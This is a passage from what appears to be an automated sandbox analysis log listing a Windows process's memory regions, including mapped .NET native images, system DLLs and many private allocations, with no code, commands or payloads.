"c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system\\e43dd9c73ab5615e461bf5109c3facd6\\system.ni.dll") Region: id = 754 start_va = 0x7fef3010000 end_va = 0x7fef3204fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.drawing.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Drawing\\ece80f2e3752a779e894fd45d8f27e64\\System.Drawing.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.drawing\\ece80f2e3752a779e894fd45d8f27e64\\system.drawing.ni.dll") Region: id = 755 start_va = 0x7feed620000 end_va = 0x7feee6c5fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.windows.forms.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Windows.Forms\\b138f79dea860272ebe6694d9b73f656\\System.Windows.Forms.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.windows.forms\\b138f79dea860272ebe6694d9b73f656\\system.windows.forms.ni.dll") Region: id = 756 start_va = 0x4b0000 end_va = 0x4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004b0000" filename = "" Region: id = 757 start_va = 0x4c0000 end_va = 0x4cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 758 start_va = 0x7fef6500000 end_va = 0x7fef6515fff monitored = 1 entry_point = 0x7fef650e5e0 region_type = mapped_file name = "nlssorting.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\nlssorting.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\nlssorting.dll") Region: id = 759 start_va = 0x1b790000 end_va = 0x1ba61fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nlp" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\sortdefault.nlp" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\sortdefault.nlp") Region: id = 760 start_va = 0x4b0000 end_va = 0x4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004b0000" filename = "" Region: id = 761 start_va = 0x4c0000 end_va = 0x4cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 762 start_va = 0x670000 end_va = 0x67ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000670000" filename = "" Region: id = 763 start_va = 0x680000 end_va = 0x68ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000680000" filename = "" Region: id = 764 start_va = 0x980000 end_va = 0x98ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000980000" filename = "" Region: id = 765 start_va = 0xa80000 end_va = 0xa8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a80000" filename = "" Region: id = 766 start_va = 0xb10000 end_va = 0xb1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b10000" filename = "" Region: id = 767 start_va = 0xb20000 end_va = 0xb2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b20000" filename = "" Region: id = 768 start_va = 0xb30000 end_va = 0xb3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b30000" filename = "" Region: id = 769 start_va = 0xb40000 end_va = 0xb4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b40000" filename = "" Region: id = 770 start_va = 0xb50000 end_va = 0xb5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b50000" filename = "" Region: id = 771 start_va = 0xb60000 end_va = 0xb6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b60000" filename = "" Region: id = 772 start_va = 0xb70000 end_va = 0xb7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b70000" filename = "" Region: id = 773 start_va = 0x1110000 end_va = 0x111ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001110000" filename = "" Region: id = 774 start_va = 0x1120000 end_va = 0x112ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001120000" filename = "" Region: id = 775 start_va = 0x1130000 end_va = 0x113ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001130000" filename = "" Region: id = 776 start_va = 0x1140000 end_va = 0x114ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001140000" filename = "" Region: id = 777 start_va = 0x1150000 end_va = 0x115ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001150000" filename = "" Region: id = 778 start_va = 0x1160000 end_va = 0x116ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001160000" filename = "" Region: id = 779 start_va = 0x1170000 end_va = 0x117ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001170000" filename = "" Region: id = 780 start_va = 0x1180000 end_va = 0x118ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001180000" filename = "" Region: id = 781 start_va = 0x1190000 end_va = 0x119ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001190000" filename = "" Region: id = 782 start_va = 0x11a0000 end_va = 0x11affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000011a0000" filename = "" Region: id = 783 start_va = 0x11b0000 end_va = 0x11bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000011b0000" filename = "" Region: id = 784 start_va = 0x1a6a0000 end_va = 0x1a6affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a6a0000" filename = "" Region: id = 785 start_va = 0x1a7b0000 end_va = 0x1a7bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a7b0000" filename = "" Region: id = 786 start_va = 0x1a7c0000 end_va = 0x1a7cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a7c0000" filename = "" Region: id = 787 start_va = 0x1a7d0000 end_va = 0x1a7dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a7d0000" filename = "" Region: id = 788 start_va = 0x1a7e0000 end_va = 0x1a7effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a7e0000" filename = "" Region: id = 789 start_va = 0x1a7f0000 end_va = 0x1a7fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a7f0000" filename = "" Region: id = 790 start_va = 0x1a800000 end_va = 0x1a80ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a800000" filename = "" Region: id = 791 start_va = 0x1a810000 end_va = 0x1a81ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a810000" filename = "" Region: id = 792 start_va = 0x1a820000 end_va = 0x1a82ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a820000" filename = "" Region: id = 793 start_va = 0x1ad00000 end_va = 0x1ad0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad00000" filename = "" Region: id = 794 start_va = 0x1ae70000 end_va = 0x1aeeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ae70000" filename = "" Region: id = 795 start_va = 0x1ad10000 end_va = 0x1ad1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad10000" filename = "" Region: id = 796 start_va = 0x1ad20000 end_va = 0x1ad2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad20000" filename = "" Region: id = 797 start_va = 0x1ad30000 end_va = 0x1ad3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad30000" filename = "" Region: id = 798 start_va = 0x1ad40000 end_va = 0x1ad4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad40000" filename = "" Region: id = 799 start_va = 0x1ad50000 end_va = 0x1ad5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad50000" filename = "" Region: id = 800 start_va = 0x1adc0000 end_va = 0x1adfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001adc0000" filename = "" Region: id = 801 start_va = 0x7fffffd3000 end_va = 0x7fffffd4fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd3000" filename = "" Region: id = 802 start_va = 0x7fe914c0000 end_va = 0x7fe914cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe914c0000" filename = "" Region: id = 803 start_va = 0x4b0000 end_va = 0x4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004b0000" filename = "" Region: id = 804 start_va = 0x4b0000 end_va = 0x4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004b0000" filename = "" Region: id = 805 start_va = 0x4b0000 end_va = 0x4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004b0000" filename = "" Region: id = 806 start_va = 0x4b0000 end_va = 0x4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004b0000" filename = "" Region: id = 807 start_va = 0x4b0000 end_va = 0x4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004b0000" filename = "" Region: id = 808 start_va = 0x4c0000 end_va = 0x4cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 809 start_va = 0x670000 end_va = 0x67ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000670000" filename = "" Region: id = 810 start_va = 0x680000 end_va = 0x68ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000680000" filename = "" Region: id = 811 start_va = 0x4b0000 end_va = 0x4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004b0000" filename = "" Region: id = 812 start_va = 0x4b0000 end_va = 0x4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004b0000" filename = "" Region: id = 813 start_va = 0x4b0000 end_va = 0x4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004b0000" filename = "" Region: id = 814 start_va = 0x4b0000 end_va = 0x4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004b0000" filename = "" Region: id = 815 start_va = 0x4b0000 end_va = 0x4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004b0000" filename = "" Region: id = 816 start_va = 0x4c0000 end_va = 0x4cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 817 start_va = 0x4b0000 end_va = 0x4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004b0000" filename = "" Region: id = 818 start_va = 0x4c0000 end_va = 0x4cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 819 start_va = 0x670000 end_va = 0x67ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000670000" filename = "" Region: id = 820 start_va = 0x4b0000 end_va = 0x4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004b0000" filename = "" Region: id = 821 start_va = 0x4c0000 end_va = 0x4cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 822 start_va = 0x670000 end_va = 0x67ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000670000" filename = "" Region: id = 823 start_va = 0x680000 end_va = 0x68ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000680000" filename = "" Region: id = 824 start_va = 0x980000 end_va = 0x98ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000980000" filename = "" Region: id = 825 start_va = 0xa80000 end_va = 0xa8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a80000" filename = "" Region: id = 826 start_va = 0xb10000 end_va = 0xb1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b10000" filename = "" Region: id = 827 start_va = 0xb20000 end_va = 0xb2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b20000" filename = "" Region: id = 828 start_va = 0xb30000 end_va = 0xb3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b30000" filename = "" Region: id = 829 start_va = 0xb40000 end_va = 0xb4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b40000" filename = "" Region: id = 830 start_va = 0xb50000 end_va = 0xb5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b50000" filename = "" Region: id = 831 start_va = 0xb60000 end_va = 0xb6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b60000" filename = "" Region: id = 832 start_va = 0xb70000 end_va = 0xb7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b70000" filename = "" Region: id = 833 start_va = 0x1110000 end_va = 0x111ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001110000" filename = "" Region: id = 834 start_va = 0x1120000 end_va = 0x112ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001120000" filename = "" Region: id = 835 start_va = 0x1130000 end_va = 0x113ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001130000" filename = "" Region: id = 836 start_va = 0x1140000 end_va = 0x114ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001140000" filename = "" Region: id = 837 start_va = 0x1150000 end_va = 0x115ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001150000" filename = "" Region: id = 838 start_va = 0x1160000 end_va = 0x116ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001160000" filename = "" Region: id = 839 start_va = 0x4b0000 end_va = 0x4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004b0000" filename = "" Region: id = 840 start_va = 0x4c0000 end_va = 0x4cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 841 start_va = 0x7fe914d0000 end_va = 0x7fe914dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe914d0000" filename = "" Region: id = 842 start_va = 0x4b0000 end_va = 0x4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004b0000" filename = "" Region: id = 843 start_va = 0x4c0000 end_va = 0x4cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 844 start_va = 0x670000 end_va = 0x67ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000670000" filename = "" Region: id = 845 start_va = 0x680000 end_va = 0x68ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000680000" filename = "" Region: id = 846 start_va = 0x980000 end_va = 0x98ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000980000" filename = "" Region: id = 847 start_va = 0xa80000 end_va = 0xa8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a80000" filename = "" Region: id = 848 start_va = 0xb10000 end_va = 0xb1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b10000" filename = "" Region: id = 849 start_va = 0xb20000 end_va = 0xb2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b20000" filename = "" Region: id = 850 start_va = 0x4b0000 end_va = 0x4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004b0000" filename = "" Region: id = 851 start_va = 0x4c0000 end_va = 0x4cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 852 start_va = 0x7feecba0000 end_va = 0x7feed614fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.core.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Core\\0d59b0e237d7519417de10cd84bda4e7\\System.Core.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.core\\0d59b0e237d7519417de10cd84bda4e7\\system.core.ni.dll") Region: id = 853 start_va = 0x7fef4f60000 end_va = 0x7fef5092fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.configuration.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Configuration\\4beb1eeca20b27d4bd1bb9880f03cc2a\\System.Configuration.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.configuration\\4beb1eeca20b27d4bd1bb9880f03cc2a\\system.configuration.ni.dll") Region: id = 854 start_va = 0x7feec2f0000 end_va = 0x7feecb9afff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.xml.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\5ee35debfc22f727e70e4479ddcbc045\\System.Xml.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.xml\\5ee35debfc22f727e70e4479ddcbc045\\system.xml.ni.dll") Region: id = 855 start_va = 0x7fefd6f0000 end_va = 0x7fefe477fff monitored = 0 entry_point = 0x7fefd76cebc region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll") Region: id = 856 start_va = 0x4b0000 end_va = 0x4b0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000004b0000" filename = "" Region: id = 857 start_va = 0x7fefcc70000 end_va = 0x7fefcc7efff monitored = 0 entry_point = 0x7fefcc719b0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 858 start_va = 0x7fefc6d0000 end_va = 0x7fefc6f1fff monitored = 0 entry_point = 0x7fefc6d5d30 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll") Region: id = 859 start_va = 0x76ee0000 end_va = 0x76ee6fff monitored = 0 entry_point = 0x76ee106c region_type = mapped_file name = "psapi.dll" filename = "\\Windows\\System32\\psapi.dll" (normalized: "c:\\windows\\system32\\psapi.dll") Region: id = 860 start_va = 0x4c0000 end_va = 0x4cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 861 start_va = 0x4c0000 end_va = 0x4cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 862 start_va = 0x670000 end_va = 0x67ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000670000" filename = "" Region: id = 863 start_va = 0x4c0000 end_va = 0x4cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 864 start_va = 0x670000 end_va = 0x67ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000670000" filename = "" Region: id = 865 start_va = 0x680000 end_va = 0x68ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000680000" filename = "" Region: id = 866 start_va = 0x980000 end_va = 0x98ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000980000" filename = "" Region: id = 867 start_va = 0x4c0000 end_va = 0x4cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 868 start_va = 0x4c0000 end_va = 0x4cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 869 start_va = 0x4c0000 end_va = 0x4cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 870 start_va = 0x4c0000 end_va = 0x4cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 871 start_va = 0x4c0000 end_va = 0x4cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 872 start_va = 0x4c0000 end_va = 0x4cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 873 start_va = 0x670000 end_va = 0x67ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000670000" filename = "" Region: id = 874 start_va = 0x680000 end_va = 0x68ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000680000" filename = "" Region: id = 875 start_va = 0x1ba80000 end_va = 0x1bb7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba80000" filename = "" Region: id = 876 start_va = 0x7ffffef6000 end_va = 0x7ffffef7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ffffef6000" filename = "" Region: id = 877 start_va = 0x4c0000 end_va = 0x4cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 878 start_va = 0x4c0000 end_va = 0x4cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 879 start_va = 0x670000 end_va = 0x67ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000670000" filename = "" Region: id = 880 start_va = 0x680000 end_va = 0x68ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000680000" filename = "" Region: id = 881 start_va = 0x980000 end_va = 0x98ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000980000" filename = "" Region: id = 882 start_va = 0xa80000 end_va = 0xa8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a80000" filename = "" Region: id = 883 start_va = 0xb10000 end_va = 0xb1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b10000" filename = "" Region: id = 884 start_va = 0x4c0000 end_va = 0x4cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 885 start_va = 0x7fefcb30000 end_va = 0x7fefcb54fff monitored = 0 entry_point = 0x7fefcb39658 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 886 start_va = 0x4c0000 end_va = 0x4cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 887 start_va = 0x1140000 end_va = 0x117ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001140000" filename = "" Region: id = 888 start_va = 0x7fffffd3000 end_va = 0x7fffffd4fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd3000" filename = "" Region: id = 889 start_va = 0x4c0000 end_va = 0x4cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 890 start_va = 0x4c0000 end_va = 0x4cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 891 start_va = 0x670000 end_va = 0x67ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000670000" filename = "" Region: id = 892 start_va = 0x4c0000 end_va = 0x4cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 893 start_va = 0x670000 end_va = 0x67ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000670000" filename = "" Region: id = 894 start_va = 0x4c0000 end_va = 0x4cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 895 start_va = 0x4c0000 end_va = 0x4cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 896 start_va = 0x4c0000 end_va = 0x4cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 897 start_va = 0x4c0000 end_va = 0x4cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 898 start_va = 0x4c0000 end_va = 0x4cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 899 start_va = 0x4c0000 end_va = 0x4cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 900 start_va = 0x4c0000 end_va = 0x4cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 901 start_va = 0x670000 end_va = 0x67ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000670000" filename = "" Region: id = 902 start_va = 0x4c0000 end_va = 0x4cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 903 start_va = 0x670000 end_va = 0x67ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000670000" filename = "" Region: id = 904 start_va = 0x680000 end_va = 0x68ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000680000" filename = "" Region: id = 905 start_va = 0x4c0000 end_va = 0x4cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 906 start_va = 0x670000 end_va = 0x67ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000670000" filename = "" Region: id = 907 start_va = 0x680000 end_va = 0x68ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000680000" filename = "" Region: id = 908 start_va = 0x980000 end_va = 0x98ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000980000" filename = "" Region: id = 909 start_va = 0xa80000 end_va = 0xa8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a80000" filename = "" Region: id = 910 start_va = 0xb10000 end_va = 0xb1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b10000" filename = "" Region: id = 911 start_va = 0x4c0000 end_va = 0x4cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 912 start_va = 0x4c0000 end_va = 0x4cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 913 start_va = 0x4c0000 end_va = 0x4cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 914 start_va = 0x1b570000 end_va = 0x1b66ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b570000" filename = "" Region: id = 915 start_va = 0x7ffffef4000 end_va = 0x7ffffef5fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ffffef4000" filename = "" Region: id = 916 start_va = 0x4c0000 end_va = 0x4cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 917 start_va = 0x670000 end_va = 0x67ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000670000" filename = "" Region: id = 918 start_va = 0x680000 end_va = 0x68ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000680000" filename = "" Region: id = 919 start_va = 0x4c0000 end_va = 0x4cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 920 start_va = 0x4c0000 end_va = 0x4cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 921 start_va = 0x4c0000 end_va = 0x4cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 922 start_va = 0x4c0000 end_va = 0x4cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 923 start_va = 0x670000 end_va = 0x67ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000670000" filename = "" Region: id = 924 start_va = 0x680000 end_va = 0x68ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000680000" filename = "" Region: id = 925 start_va = 0x980000 end_va = 0x98ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000980000" filename = "" Region: id = 926 start_va = 0xa80000 end_va = 0xa8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a80000" filename = "" Region: id = 927 start_va = 0x7fef2ea0000 end_va = 0x7fef3005fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.management.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Management\\b221af81285c1305324612e6dc9c88ff\\System.Management.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.management\\b221af81285c1305324612e6dc9c88ff\\system.management.ni.dll") Region: id = 928 start_va = 0x4c0000 end_va = 0x4cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 929 start_va = 0x670000 end_va = 0x67ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000670000" filename = "" Region: id = 930 start_va = 0x680000 end_va = 0x68ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000680000" filename = "" Region: id = 931 start_va = 0x7fef4210000 end_va = 0x7fef423ffff monitored = 1 entry_point = 0x7fef4216930 region_type = mapped_file name = "wminet_utils.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\WMINet_Utils.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\wminet_utils.dll") Region: id = 932 start_va = 0x7fefeb70000 end_va = 0x7fefec46fff monitored = 0 entry_point = 0x7fefeb73274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 933 start_va = 0x4c0000 end_va = 0x4cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 934 start_va = 0x670000 end_va = 0x67ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000670000" filename = "" Region: id = 935 start_va = 0x4c0000 end_va = 0x4cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 936 start_va = 0x670000 end_va = 0x67ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000670000" filename = "" Region: id = 937 start_va = 0x4c0000 end_va = 